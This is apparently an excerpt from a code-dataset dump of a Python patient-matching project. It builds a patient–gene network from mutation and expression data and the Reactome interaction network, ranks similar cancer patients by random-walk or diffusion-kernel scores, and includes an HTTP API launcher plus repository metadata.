float(expression_value)\n gene_names = self.gene_nomenclature.get_names_for_object(gene_object)\n for gene_name in gene_names:\n assert 'ENS' in gene_name\n self.all_nodes_collection.update([patient_name])\n self.all_nodes_collection.update(['exp_' + gene_name])\n if filter:\n if ('int_' + gene_name) in self.reactome_interaction_network:\n (bound_type, bound) = self.gene_threshold_dict[gene_name]\n if bound_type == 'overexpression':\n if float(expression_value) >= bound:\n if patient_name in patient_expression_dict:\n patient_expression_dict[patient_name].update(['exp_' + gene_name])\n else:\n patient_expression_dict[patient_name] = set(['exp_' + gene_name])\n elif bound_type == 'underexpression':\n if float(expression_value) <= bound:\n if patient in patient_expression_dict:\n patient_expression_dict[patient_name].update(['exp_' + gene_name])\n else:\n patient_expression_dict[patient_name] = set(['exp_' + gene_name])\n else:\n (bound_type, bound) = self.gene_threshold_dict[gene_name]\n if bound_type == 'overexpression':\n if float(expression_value) >= bound:\n if patient_name in patient_expression_dict:\n patient_expression_dict[patient_name].update(['exp_' + gene_name])\n else:\n patient_expression_dict[patient_name] = set(['exp_' + gene_name])\n elif bound_type == 'underexpression':\n if float(expression_value) <= bound:\n if patient in patient_expression_dict:\n patient_expression_dict[patient_name].update(['exp_' + gene_name])\n else:\n patient_expression_dict[patient_name] = set(['exp_' + gene_name])\n\n ##\n # print('importing expression data from {}'.format(filepath))\n # filecontent = np.genfromtxt(filepath, delimiter=\"\\t\", dtype=np.str)\n # database_expression_data = filecontent[1:]\n # if filter:\n # filtered_data = []\n # for data_entry in database_expression_data:\n # if ('int_' + data_entry[3]) in self.reactome_interaction_network:\n # filtered_data.append(data_entry)\n # database_expression_data = np.array(filtered_data)\n #\n # # make data binary\n # # a. collect all values\n # gene_expression_observation_dict = dict()\n # for entry in database_expression_data:\n # gene = entry[3]\n # expression_value = float(entry[1])\n # if gene not in gene_expression_observation_dict:\n # gene_expression_observation_dict[gene] = [expression_value]\n # else:\n # gene_expression_observation_dict[gene].append(expression_value)\n # # b. define gene thresholds based on the chosen percentiles\n # gene_threshold_dict = dict()\n # for gene in gene_expression_observation_dict:\n # all_expression_values = np.array(gene_expression_observation_dict[gene])\n # low_perc = np.percentile(all_expression_values, percentile)\n # median_perc = np.percentile(all_expression_values, 50)\n # high_perc = np.percentile(all_expression_values, (100-percentile))\n #\n # low_diff = abs(median_perc - low_perc)\n # high_diff = abs(high_perc - median_perc)\n # # find smallest difference and mirror it\n # if low_diff <= high_diff:\n # lower_bound = low_perc\n # upper_bound = median_perc + low_diff\n # bound_type = 'overexpression'\n # bound = upper_bound\n # else:\n # lower_bound = median_perc - high_diff\n # upper_bound = high_perc\n # bound_type = 'underexpression'\n # bound = lower_bound\n # gene_threshold_dict[gene] = (bound_type, bound)\n #\n # # add the nodes and link patient to DE genes\n # patient_expression_dict = dict()\n # print('collecting patient & DE nodes')\n # for entry in database_expression_data:\n #\n # # update collection of patient nodes\n # patient = 'pat_' + entry[0]\n # self.patient_nodes_collection.update([patient])\n #\n # # extract expression value\n # expression_value = entry[1]\n #\n # # making sure there is an ensembl id, because this doesnt always seem to be the case\n # if 'ENS' in entry[3]:\n # ensembl_id = 'exp_' + entry[3]\n #\n # # add patient node and gene node to the set\n # self.all_nodes_collection.update([patient])\n # self.all_nodes_collection.update([ensembl_id])\n #\n #\n # # link patient to gene if gene is DE (one way only)\n # (bound_type, bound) = gene_threshold_dict[entry[3]]\n # if bound_type == 'overexpression':\n # if float(expression_value) >= bound:\n # if patient in patient_expression_dict:\n # patient_expression_dict[patient].update([ensembl_id])\n # else:\n # patient_expression_dict[patient] = set([ensembl_id])\n # elif bound_type == 'underexpression':\n # if float(expression_value) <= bound:\n # if patient in patient_expression_dict:\n # patient_expression_dict[patient].update([ensembl_id])\n # else:\n # patient_expression_dict[patient] = set([ensembl_id])\n return patient_expression_dict\n\n # OTHER PRIVATE FUNCTIONS THAT DO NOT HAVE TO BE REPlACED:\n def __create_node_index_list(self):\n '''\n Make a dictionary with the index of every node in the adjacency matrix.\n :return: The dictionary. Keys are the nodes and the values the positions.\n Example: {'mut_ENSG00000011465': 8613, 'mut_ENSG00000159720': 13356, 'int_ENSG00000068745': 535, 'pat_e45f3391-2e74-4767-817a-280cebac7c57': 18509}\n '''\n sorted_all_nodes_list = sorted(list(self.all_nodes_collection))\n index = 0\n node_indices = dict()\n # Matrix is symmetric. Thus, we do not need two coordinates.\n for node in sorted_all_nodes_list:\n node_indices[node] = index\n index += 1\n return node_indices\n def __reverse_dictionary(self, dictionary):\n '''\n :return: The reverse of the input dictionary (keys -> values and values -> keys).\n '''\n reverse_dict = dict()\n for key in dictionary:\n value = dictionary[key]\n reverse_dict[value] = key\n return reverse_dict\n def __fill_adjacency_matrix_with_data_dictionary(self, matrix, data_dictionary):\n '''\n Add every connection in the data dictionary to the adjacency matrix\n :param matrix: The adjacency matrix\n :param data_dictionary: The dictionary where patients are the keys and the gene abberations sets the values.\n :return: updated adjacency matrix\n '''\n for patient in data_dictionary:\n gene_abberation_set = data_dictionary[patient]\n patient_coordinate = self.node_coordinates[patient]\n for gene in gene_abberation_set:\n gene_coordinate = self.node_coordinates[gene]\n # now fill in (symmetric so also the other way around)\n matrix[patient_coordinate][gene_coordinate] = 1\n matrix[gene_coordinate][patient_coordinate] = 1\n return matrix\n def __connecting_gene_nodes_by_interaction_network(self, matrix):\n '''\n Completing the adjacency matrix by interconnecting the gene nodes through\n the info stored in the interaction network.\n NOTE: Different version of a gene will never be directly connected. For example, the mutated version\n of a gene will not be connected to the differentially expressed version of the gene.\n However, for example the mut_ and exp_ versions of the genes are both connected to the\n interaction network version (int_ version of the gene).\n NOTE2: Patients will also never be interconnected.\n :return: The updated adjacency matrix.\n '''\n for gene_node in self.reactome_interaction_network:\n interacting_genes = self.reactome_interaction_network[gene_node]\n # A. Interconnecting the genes from the interaction network (int_ prefix)\n for interacting_gene_node in interacting_genes:\n gene_node_coordinate = self.node_coordinates[gene_node]\n interacting_gene_node_coordinate = self.node_coordinates[interacting_gene_node]\n # now fill in (symmetric so both ways)\n matrix[gene_node_coordinate][interacting_gene_node_coordinate] = 1\n matrix[interacting_gene_node_coordinate][gene_node_coordinate] = 1\n\n # B. Connecting the genes from the interacting network (int_ genes)\n # with the other versions of the same gene\n # (connect int_ genes with the mut_, exp_, cnv_ and met_ versions of the same gene)\n for data_type_prefix in ['mut_', 'exp_', 'cnv_', 'met_']: # here add the data type prefixes\n gene_node_interaction_network = gene_node\n gene_node_other_datatype = data_type_prefix + gene_node[4:]\n\n if gene_node_other_datatype in self.node_coordinates: # only if the node in other datatype exists\n gene_node_interaction_network_coordinate = self.node_coordinates[gene_node_interaction_network]\n gene_node_other_datatype_coordinate = self.node_coordinates[gene_node_other_datatype]\n\n # now fill in (symmetric so both ways)\n matrix[gene_node_interaction_network_coordinate][gene_node_other_datatype_coordinate] = 1\n matrix[gene_node_other_datatype_coordinate][gene_node_interaction_network_coordinate] = 1\n return matrix\n def __add_new_patient_to_adjacency_matrix(self):\n '''\n :param adjacency_matrix: The precalculated adjacency matrix.\n :param node_coordinates: The indices of every node in the adjacency matrix.\n :param main_patient_id: The ID of the patient under study.\n :param main_patient_data_dict: {'mutation_data' : {mut_gene1, mut_gene2,..}, 'expression_data' : {}, 'cnv_data' : {}, 'methylation_data' : {}}\n :return: The adjacency matrix with the new patient added and the new coordinates dictionary.\n '''\n # Find the dimensions of the numpy array\n r, c = self.adjacency_matrix.shape\n\n # and blank column and row to the end of the matrix\n adjacency_matrix_with_new_patient = self.adjacency_matrix\n node_coordinates_with_new_patient = self.node_coordinates\n blank_col = np.zeros((r, 1))\n adjacency_matrix_with_new_patient = np.append(adjacency_matrix_with_new_patient, blank_col, axis=1)\n blank_row = np.zeros((1, c + 1))\n adjacency_matrix_with_new_patient = np.append(adjacency_matrix_with_new_patient, blank_row, axis=0)\n\n # the index of the last column/row (symmetric) are the coordinates of the new patient\n main_patient_coordinate = r\n node_coordinates_with_new_patient[self.main_patient_id] = main_patient_coordinate\n\n # add the connection to the existing nodes for every data type\n for data_type in ['mutation_data', 'expression_data', 'cnv_data', 'methylation_data']:\n affected_geneset = self.main_patient_data_dict[data_type]\n if affected_geneset != set(): # check if there is actually data available\n for prefix_ensembl_gene_id in affected_geneset:\n if (prefix_ensembl_gene_id) in self.node_coordinates:\n connection_position = node_coordinates_with_new_patient[prefix_ensembl_gene_id]\n adjacency_matrix_with_new_patient[connection_position][main_patient_coordinate] = 1\n adjacency_matrix_with_new_patient[main_patient_coordinate][connection_position] = 1\n return adjacency_matrix_with_new_patient, node_coordinates_with_new_patient\n def __simulated_random_walker(self):\n '''\n Simulate a random walker starting from the main patient node. This is the standard\n method to find similar patients because of the low resources required.\n\n NOTE: The main patient will NOT be counted!\n :return: Sorted list of patients based on number of occurence of other patient nodes by random walks.\n '''\n print('calculating the patients similar to patient {} with random walks'.format(self.main_patient_id))\n import random\n nearby_patient_count_dict = dict()\n for i in range(0, method_1_iterations):\n # find the connections to other nodes from the starting patient\n node_index = self.node_coordinates_with_main_patient[self.main_patient_id]\n while True:\n # pick random connected node (1) and set current node to this node\n node_connectivity = self.adjacency_matrix_with_main_patient[:, node_index]\n connections = np.where(node_connectivity == 1)[0]\n if len(connections) == 0:\n print('No connections to other nodes could be made from the input patient..')\n break\n next_node_index = random.choice(connections)\n node_index = next_node_index\n\n # Check if current node is patient, if yes increase count in dictionary\n node_name = self.node_coordinates_with_main_patient_reverse[node_index]\n if node_name[0:4] == 'pat_' and node_name != self.main_patient_id and node_name != ('pat_' + self.main_patient_id):\n if node_name not in nearby_patient_count_dict:\n nearby_patient_count_dict[node_name] = 1\n else:\n nearby_patient_count_dict[node_name] += 1\n\n # Now check if we keep continuing from the current node or stop\n if random.uniform(0, 1) <= random_walker_reset_chance:\n break\n\n # sort found patients based on occurence count\n sorted_patients_list = sorted(nearby_patient_count_dict.items(), key=lambda t: t[1], reverse=1)\n return sorted_patients_list\n def __find_connected_patients_list(self, K):\n '''\n 1. Extract row of the input patient.\n 2. Go over the values in the row.\n 3. If we encounter a value bigger than 0 (after rounding because numeric problems), we know the node is\n connected to our input patient.\n 4. Check if the node is a patient node. If yes, collect the value together with the node label.\n 5. Sort the connected patients based on their connectivity.\n\n NOTE: The input patient will not be in the returned list!\n\n :param K:\n :return: A sorted list of patients with their scores.\n EXAMPLE:\n [(pat_3, 309), (pat_1, 205), (pat_2, 24)]\n '''\n connectivity_scores_of_main_patient = K[self.node_coordinates_with_main_patient[self.main_patient_id]]\n connected_patient_score_list = {}\n for index in range(0, len(connectivity_scores_of_main_patient)):\n connectivy_of_node = connectivity_scores_of_main_patient[index]\n if round(connectivy_of_node, 10) > 0:\n node_label = self.node_coordinates_with_main_patient_reverse[index]\n if node_label[0:4] == 'pat_':\n if node_label != self.main_patient_id and node_label != 'pat_' + self.main_patient_id:\n connected_patient_score_list[node_label] = connectivy_of_node\n\n sorted_patients_list = sorted(connected_patient_score_list.items(), key=lambda t: t[1], reverse=1)\n return sorted_patients_list\n def __adjacency_random_walker_matrix(self):\n '''\n Random walker method applied to the entire adjacency matrix\n to return a list with connected patients sorted\n on their connectivity to the main patient.\n The higher the score, the more 'similar' to the input patient.\n\n NOTE: The main patient will NOT be counted!\n\n MATLAB IMPLEMENTATION:\n case 'RWR'\n Ds=sum(A,2);\n D=diag(Ds);\n a=param1;\n K=(D-a*A)^(-1)*D;\n '''\n print('Calculating random walks on the entire adjacency matrix..')\n Ds = np.sum(self.adjacency_matrix_with_main_patient, axis=1)\n D = np.diag(Ds)\n K = np.dot(np.linalg.pinv(D - random_walker_reset_chance * self.adjacency_matrix_with_main_patient), D)\n return K\n def __adjacency_laplacian_exponential_diffusion_kernel_matrix(self):\n '''\n Apply the laplacian exponential diffusion kernel to the entire\n adjacency matrix and return a list with connected patients sorted\n on their connectivity to the main patient.\n The higher the score, the more 'similar' to the input patient.\n\n NOTE: The main patient will NOT be counted!\n\n MATLAB IMPLEMENTATION:\n case 'LEXP'\n L = laplacian(A);\n K = expm(-param1 * L)\n '''\n print('Calculating laplacian exponential diffusion kernel on the entire adjacency matrix..')\n from scipy.sparse import csgraph\n import scipy.linalg\n L = csgraph.laplacian(self.adjacency_matrix_with_main_patient)\n K = scipy.linalg.expm(-laplacian_exponential_diffusion_kernel_parameter * L)\n return K\n def __list_similar_patients(self, method=1):\n '''\n :param method:\n :param max_number:\n :return:\n '''\n if method == 1: # The simulated random walker\n similar_patients_list = self.__simulated_random_walker()\n\n elif method == 2:\n converted_matrix = self.__adjacency_random_walker_matrix()\n similar_patients_list = self.__find_connected_patients_list(converted_matrix)\n del converted_matrix\n\n elif method == 3:\n converted_matrix = self.__adjacency_laplacian_exponential_diffusion_kernel_matrix()\n similar_patients_list = self.__find_connected_patients_list(converted_matrix)\n del converted_matrix\n\n return similar_patients_list\n\n\n def __backup_data_variable_content(self):\n '''\n Make a backup in the self.backup variable of the following 'important' precalculated variables:\n - self.all_nodes_collection:\n - self.patient_nodes_collection:\n - self.reactome_interaction_network:\n - self.database_mutation_dict:\n - self.database_expression_dict:\n - self.database_cnv_dict:\n - self.database_methylation_dict:\n - self.node_coordinates:\n - self.adjacency_matrix:\n :return: Assign tuple with the elements to the self.backup variable\n '''\n return (self.all_nodes_collection,\n self.patient_nodes_collection,\n self.reactome_interaction_network,\n self.database_mutation_dict,\n self.database_expression_dict,\n self.database_cnv_dict,\n self.database_methylation_dict,\n self.node_coordinates,\n self.adjacency_matrix)\n def __remove_created_data_variables(self):\n '''\n Return to the state before the validation; delete the created variables.\n :return:\n '''\n if 'all_nodes_collection' in dir(self):\n del self.all_nodes_collection\n if 'patient_nodes_collection' in dir(self):\n del self.patient_nodes_collection\n if 'database_mutation_dict' in dir(self):\n del self.database_mutation_dict\n if 'database_expression_dict' in dir(self):\n del self.database_expression_dict\n if 'database_cnv_dict' in dir(self):\n del self.database_cnv_dict\n if 'database_methylation_dict' in dir(self):\n del self.database_methylation_dict\n if 'node_coordinates' in dir(self):\n del self.node_coordinates\n if 'adjacency_matrix' in dir(self):\n del self.adjacency_matrix\n if 'main_patient_data_dict' in dir(self):\n del self.main_patient_data_dict\n if 'main_patient_id' in dir(self):\n del self.main_patient_id\n if 'adjacency_matrix_with_main_patient' in dir(self):\n del self.adjacency_matrix_with_main_patient\n if 'node_coordinates_with_main_patient' in dir(self):\n del self.node_coordinates_with_main_patient\n if 'node_coordinates_with_main_patient_reverse' in dir(self):\n del self.node_coordinates_with_main_patient_reverse\n if 'similar_patient_list' in dir(self):\n del self.similar_patient_list\n return\n def __restore_original_data_variable_content(self):\n '''\n Restore everything in the self.backup variable to the following original variables:\n - self.all_nodes_collection:\n - self.patient_nodes_collection:\n - self.reactome_interaction_network:\n - self.database_mutation_dict:\n - self.database_expression_dict:\n - self.database_cnv_dict:\n - self.database_methylation_dict:\n - self.node_coordinates:\n - self.adjacency_matrix:\n :return: Restore data tuple with the elements from the self.backup variable\n '''\n (self.all_nodes_collection,\n self.patient_nodes_collection,\n self.reactome_interaction_network,\n self.database_mutation_dict,\n self.database_expression_dict,\n self.database_cnv_dict,\n self.database_methylation_dict,\n self.node_coordinates,\n self.adjacency_matrix) = self.backup\n del self.backup\n return\n def __LOO_cross_validation(self, subtype_dict):\n '''\n Loops over the BRCA patients and tries to predict the subtype of the\n patient based on the similar patients.\n :param subtype_dict: Dictionary with the subtype (value) of the patients (key)\n :return: The prediction accuracy\n '''\n # DEFINE VARIABLES USED TO CALCULATE ACCURACY\n accurate_predictions = 0\n predictions_done = 0\n patients_done = 0\n patients_with_no_connections = 0\n\n\n for patient in self.patient_nodes_collection:\n # RESETTING VARIABLES FROM PREVIOUS LOOPS\n self.adjacency_matrix_with_main_patient = None\n self.node_coordinates_with_main_patient = None\n self.node_coordinates_with_main_patient_reverse = None\n self.main_patient_id = None\n self.main_patient_data_dict = None\n self.similar_patient_list = None\n prediction = set()\n\n # IMPORT PATIENT DATA (= MAIN PATIENT)\n self.main_patient_id = 'MAIN_PATIENT'\n if self.BRCA_mutation_dict != {} and patient in self.BRCA_mutation_dict:\n mutation_data = list(self.BRCA_mutation_dict[patient])\n else:\n mutation_data = set()\n\n if self.BRCA_expression_dict != {} and patient in self.BRCA_expression_dict:\n expression_data = list(self.BRCA_expression_dict[patient])\n else:\n expression_data = set()\n\n if self.BRCA_cnv_dict != {} and patient in self.BRCA_cnv_dict:\n cnv_data = list(self.BRCA_cnv_dict[patient])\n else:\n cnv_data = set()\n\n if self.BRCA_methylation_dict != {} and patient in self.BRCA_methylation_dict:\n methylation_data = list(self.BRCA_methylation_dict[patient])\n else:\n methylation_data = set()\n\n patient_subtype = subtype_dict[patient]\n\n self.main_patient_data_dict = {'mutation_data': mutation_data,\n 'expression_data': expression_data,\n 'cnv_data': cnv_data,\n 'methylation_data': methylation_data}\n\n # ADD NEW PATIENT TO ADJACENCY MATRIX AND TO CORRESPONDING INDEX DICTIONARY / PATIENT NODE COLLECTION\n self.adjacency_matrix_with_main_patient, \\\n self.node_coordinates_with_main_patient = self.__add_new_patient_to_adjacency_matrix()\n\n # WE WILL ALSO REQUIRE THE REVERSED DICTIONARY\n self.node_coordinates_with_main_patient_reverse = \\\n self.__reverse_dictionary(self.node_coordinates_with_main_patient)\n\n # COMPUTE SIMILAR PATIENT LIST\n similar_patients_list = self.__list_similar_patients(method=similar_patients_computation_method)\n if similar_patients_list != []:\n # We add the 'new patient' to the matrix and it is already there as database patient, thus\n # we will always get the duplicate as first hit. Therefore we start from index 1.\n self.similar_patient_list = similar_patients_list[1:number_of_similar_patients + 1]\n print(self.similar_patient_list)\n # COUNT SUBTYPE REPRESENTATION IN TOP PATIENTS\n subtype_count = dict()\n if self.similar_patient_list != []:\n for top_patient in self.similar_patient_list:\n subtype = subtype_dict[top_patient[0]]\n if subtype not in subtype_count:\n subtype_count[subtype] = 1\n else:\n subtype_count[subtype] += 1\n highest_count = 0\n for subtype in subtype_count:\n if subtype_count[subtype] > highest_count:\n prediction = set([subtype])\n highest_count = subtype_count[subtype]\n if subtype_count[subtype] == highest_count:\n prediction.update([subtype])\n if len(prediction) == 1:\n if list(prediction)[0] == patient_subtype:\n accurate_predictions += 1\n else:\n accurate_predictions += 0\n else:\n if patient_subtype in prediction:\n accurate_predictions += 1 / len(prediction)\n else:\n accurate_predictions += 0\n predictions_done += 1\n else:\n patients_with_no_connections += 1\n patients_done += 1\n print('Patient {} from {} completed'.format(patients_done, len(self.patient_nodes_collection)))\n print('real: {} --> pred: {}'.format(patient_subtype, prediction))\n print('intermediate accuracy: ', accurate_predictions*100 / predictions_done, '%\\n')\n accuracy = accurate_predictions / predictions_done\n print('Final accuracy: ', round(accuracy, 6)*100, '%')\n print('Patients without connections: ', patients_with_no_connections)\n return accuracy\n\n # MAIN FUNCTIONS\n def compute_similar_patients(self, biology: Biology, main_patient: Patient,\n database_patients: Iterable[Patient]) -> SimilarPatientList:\n #########################################################\n # COMPUTING THE ADJACENCY MATRIX WITH DATABASE PATIENTS #\n #########################################################\n # INITIALIZE IMPORT\n self.biology = biology\n self.gene_metanomenclature = self.biology.gene_metanomenclature\n self.gene_nomenclature = self.gene_metanomenclature.get_nomenclature('ensembl')\n self.subtype_metanomenclature = self.biology.cancer_subtype_metanomenclature\n self.subtype_nomenclature = self.subtype_metanomenclature.get_nomenclature(\"default\")\n\n\n # CREATE VARIABLES TO STORE INFORMATION ABOUT THE NODES\n self.all_nodes_collection = set()\n self.patient_nodes_collection = set()\n self.patient_name_object_dict = dict()\n\n # IMPORT REACTOME INTERACTION NETWORK (PRIOR KNOWLEDGE)\n self.reactome_interaction_network = self.__import_reactome_interactions()\n\n # IMPORT DATABASE PATIENT DATA\n self.database_mutation_dict = self.__import_database_mutation_data(database_patients)\n self.database_expression_dict = self.__import_database_expression_data(database_patients)\n self.database_cnv_dict = {}\n self.database_methylation_dict = {}\n\n # CREATING BLANK ADJACENCY MATRIX\n adjacency_matrix = np.zeros(shape=(len(self.all_nodes_collection), len(self.all_nodes_collection)))\n\n # MAKE DICTIONARY OF THE INDEX OF EVERY NODE IN THE ADJACENCY MATRIX\n self.node_coordinates = self.__create_node_index_list()\n\n # FILL IN THE ADJACENCY MATRIX\n if self.database_mutation_dict != {}:\n print('Adding mutated genes to the adjacency matrix..\\n')\n adjacency_matrix = self.__fill_adjacency_matrix_with_data_dictionary(adjacency_matrix, self.database_mutation_dict)\n if self.database_expression_dict != {}:\n print('Adding differentially expressed genes to the adjacency matrix..\\n')\n adjacency_matrix = self.__fill_adjacency_matrix_with_data_dictionary(adjacency_matrix, self.database_expression_dict)\n if self.database_cnv_dict != {}:\n print('Adding genes varying in copy number to the adjacency matrix..\\n')\n adjacency_matrix = self.__fill_adjacency_matrix_with_data_dictionary(adjacency_matrix, self.database_cnv_dict)\n if self.database_methylation_dict != {}:\n print('Adding hypo- and hypermethylated genes to the adjacency matrix..\\n')\n adjacency_matrix = self.__fill_adjacency_matrix_with_data_dictionary(adjacency_matrix, self.database_methylation_dict)\n\n # CONNECTING GENE NODES THROUGH THE REACTOME INTERACTION NETWORK\n print('Connecting the gene nodes by making use of the interaction network..\\n')\n adjacency_matrix = self.__connecting_gene_nodes_by_interaction_network(adjacency_matrix)\n self.adjacency_matrix = adjacency_matrix\n\n # IMPORT NEW PATIENT DATA (= MAIN PATIENT)\n self.main_patient_data_dict = self.__import_main_patient(main_patient)\n self.main_patient_id = 'MAIN_PATIENT'\n\n # ADD NEW PATIENT TO ADJACENCY MATRIX AND TO CORRESPONDING INDEX DICTIONARY / PATIENT NODE COLLECTION\n self.adjacency_matrix_with_main_patient, \\\n self.node_coordinates_with_main_patient = self.__add_new_patient_to_adjacency_matrix()\n # WE WILL ALSO REQUIRE THE REVERSED DICTIONARY\n self.node_coordinates_with_main_patient_reverse = self.__reverse_dictionary(self.node_coordinates_with_main_patient)\n\n # COMPUTE SIMILAR PATIENT LIST\n self.similar_patient_list = self.__list_similar_patients(method = similar_patients_computation_method)\n self.similar_patient_list = self.similar_patient_list[0:number_of_similar_patients]\n\n # create SimilarPatientList object\n temp_list = list()\n if similar_patients_computation_method == 1:\n sim_measure = 'RW_local'\n elif similar_patients_computation_method == 2:\n sim_measure = 'RW_adjacency'\n elif similar_patients_computation_method == 3:\n sim_measure = 'LEXP'\n\n for (patient_name, score) in self.similar_patient_list:\n print(patient_name)\n patient_obj = self.patient_name_object_dict[patient_name]\n similar_patient_object = SimilarPatient(patient=patient_obj, similarity_explanation=sim_measure,\n similarity_score=float(score))\n temp_list.append(similar_patient_object)\n self.similar_patient_list = temp_list\n\n return SimilarPatientList(patient=main_patient, similar_patients=self.similar_patient_list,\n used_data_sources=self.main_patient_data_dict, creation_date=datetime.datetime.now(),\n used_method=self)\n\n def BRCA_LOO_cross_validation(self):\n # INITIALIZE IMPORT\n self.domain_initializer = DomainInitializer()\n self.biology = self.domain_initializer.biology\n self.gene_metanomenclature = self.biology.gene_metanomenclature\n self.gene_nomenclature = self.gene_metanomenclature.get_nomenclature('ensembl')\n self.subtype_metanomenclature = self.biology.cancer_subtype_metanomenclature\n self.subtype_nomenclature = self.subtype_metanomenclature.get_nomenclature(\"default\")\n\n # WE WILL REUSE EXISTING FUNCTIONS,\n # THUS WE MUST MAKE A BACKUP OF THE CONTENT OF THE ORIGINAL DATA\n if 'adjacency_matrix' in dir(self): # if there is useful data to back up\n self.backup = self.__backup_data_variable_content()\n else:\n self.backup = None\n\n # DEFINE / RESET OTHER VARIABLES\n self.all_nodes_collection = set()\n self.patient_nodes_collection = set()\n\n # IMPORT REACTOME INTERACTION NETWORK (PRIOR KNOWLEDGE)\n self.reactome_interaction_network = self.__import_reactome_interactions()\n\n # IMPORT CROSS VALIDATION BRCA DATASET\n #self.BRCA_mutation_dict = {}\n #self.BRCA_expression_dict = {}\n self.BRCA_mutation_dict = self.__import_BRCA_mutation_file()\n self.BRCA_expression_dict = self.__import_BRCA_expression_file()\n self.BRCA_cnv_dict = {}\n self.BRCA_methylation_dict = {}\n\n # CREATE BLANK ADJACENCY MATRIX\n adjacency_matrix = np.zeros(shape=(len(self.all_nodes_collection), len(self.all_nodes_collection)))\n\n # MAKE DICTIONARY OF THE INDEX OF EVERY NODE IN THE ADJACENCY MATRIX\n self.node_coordinates = self.__create_node_index_list()\n\n # FILL IN THE ADJACENCY MATRIX\n if self.BRCA_mutation_dict != {}:\n print('Adding mutated genes to the adjacency matrix..\\n')\n adjacency_matrix = self.__fill_adjacency_matrix_with_data_dictionary(adjacency_matrix,\n self.BRCA_mutation_dict)\n if self.BRCA_expression_dict != {}:\n print('Adding DE genes to the adjacency matrix..\\n')\n adjacency_matrix = self.__fill_adjacency_matrix_with_data_dictionary(adjacency_matrix,\n self.BRCA_expression_dict)\n\n\n # CONNECTING GENE NODES THROUGH THE REACTOME INTERACTION NETWORK\n print('Connecting the gene nodes by making use of the interaction network..\\n')\n adjacency_matrix = self.__connecting_gene_nodes_by_interaction_network(adjacency_matrix)\n self.adjacency_matrix = adjacency_matrix\n\n # IMPORT AND CREATE A SUBTYPE DICTIONARY\n BRCA_patient_subtypes_dict = self.__import_patient_subtypes_into_dict()\n\n\n # PERFORM THE LEAVE ONE OUT CROSS VALIDATION LOOP METHOD\n accuracy = self.__LOO_cross_validation(BRCA_patient_subtypes_dict)\n\n # REMOVE VARIABLES FOR VALIDATION AND RESTORE OLD DATA IN VARIABLES\n if self.backup is None:\n self.__remove_created_data_variables()\n else:\n self.__remove_created_data_variables()\n self.__restore_original_data_variable_content()\n return accuracy\n\n\n#\nnetwork_algorithm = NetworkAlgorithm()\ndomain_initializer = DomainInitializer()\nbio = domain_initializer.biology\ndatabase_patients = domain_initializer.persisted_patients\n\nmain_patient = set(domain_initializer.persisted_patients).pop()\nprint(main_patient.name)\n\nprint(network_algorithm.compute_similar_patients(biology=bio, main_patient=main_patient, database_patients=database_patients))\n#print(network_algorithm.BRCA_LOO_cross_validation())\n\n\n\n\n\n" }, { "alpha_fraction": 0.7727856040000916, "alphanum_fraction": 0.7727856040000916, "avg_line_length": 35.515625, "blob_id": "c5f82589ed96b0ea4e8ab5661225173074b4a181", "content_id": "54f0743d0ade4f7f0b7979a46f7e42a5f4f26981", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2337, "license_type": "no_license", "max_line_length": 75, "num_lines": 64, "path": "/computation_and_database/api/RunApi.py", "repo_name": "splovyt/PatientMatchingAlgorithm", "src_encoding": "UTF-8", "text": "from api.request_handlers.HomeRequestHandler import HomeRequestHandler\nfrom api.request_handlers.SimilarPatientsComputationMethodsRequestHandler\\\n import SimilarPatientsComputationMethodsRequestHandler\nfrom api.request_handlers.PatientListRequestHandler import\\\n PatientListRequestHandler\nfrom api.request_handlers.CancerTypeListRequestHandler import\\\n CancerTypeListRequestHandler\nfrom api.request_handlers.CancerTypeRequestHandler import\\\n CancerTypeRequestHandler\nfrom api.request_handlers.CancerSubtypeListRequestHandler import\\\n CancerSubtypeListRequestHandler\nfrom api.request_handlers.CancerSubtypeRequestHandler import\\\n CancerSubtypeRequestHandler\nfrom api.request_handlers.PatientRequestHandler import\\\n PatientRequestHandler\nfrom api.request_handlers.AberrationsRequestHandler import\\\n AberrationsRequestHandler\nfrom api.ApiServer import ApiServer\n\n\ndef run_api():\n print('starting server...')\n httpd = ApiServer()\n register_endpoints(httpd)\n\n print('running server...')\n httpd.serve_forever()\n\n\ndef register_endpoints(server: ApiServer):\n server.register_handler_class_for_endpoint(HomeRequestHandler.endpoint,\n HomeRequestHandler)\n server.register_handler_class_for_endpoint(\n SimilarPatientsComputationMethodsRequestHandler.endpoint,\n SimilarPatientsComputationMethodsRequestHandler\n )\n server.register_handler_class_for_endpoint(\n PatientListRequestHandler.endpoint,\n PatientListRequestHandler\n )\n server.register_handler_class_for_endpoint(\n PatientRequestHandler.endpoint,\n PatientRequestHandler\n )\n server.register_handler_class_for_endpoint(\n CancerTypeListRequestHandler.endpoint,\n CancerTypeListRequestHandler\n )\n server.register_handler_class_for_endpoint(\n CancerTypeRequestHandler.endpoint,\n CancerTypeRequestHandler\n )\n server.register_handler_class_for_endpoint(\n CancerSubtypeListRequestHandler.endpoint,\n CancerSubtypeListRequestHandler\n )\n server.register_handler_class_for_endpoint(\n CancerSubtypeRequestHandler.endpoint,\n CancerSubtypeRequestHandler\n )\n server.register_handler_class_for_endpoint(\n AberrationsRequestHandler.endpoint,\n AberrationsRequestHandler\n )\n" } ]
47
dong0321/paco_ft
https://github.com/dong0321/paco_ft
85b84d934c5a51d9151a0dc5bc140281b9b744a5
c2c75fb9390abe0f1c76b8492c3d95b0f034f28a
0731977a479c87a83e975e08f78ed23a6ac16383
refs/heads/master
2023-02-27T15:41:49.456676
2021-02-08T17:16:09
2021-02-08T17:16:09
337,151,435
0
0
null
null
null
null
null
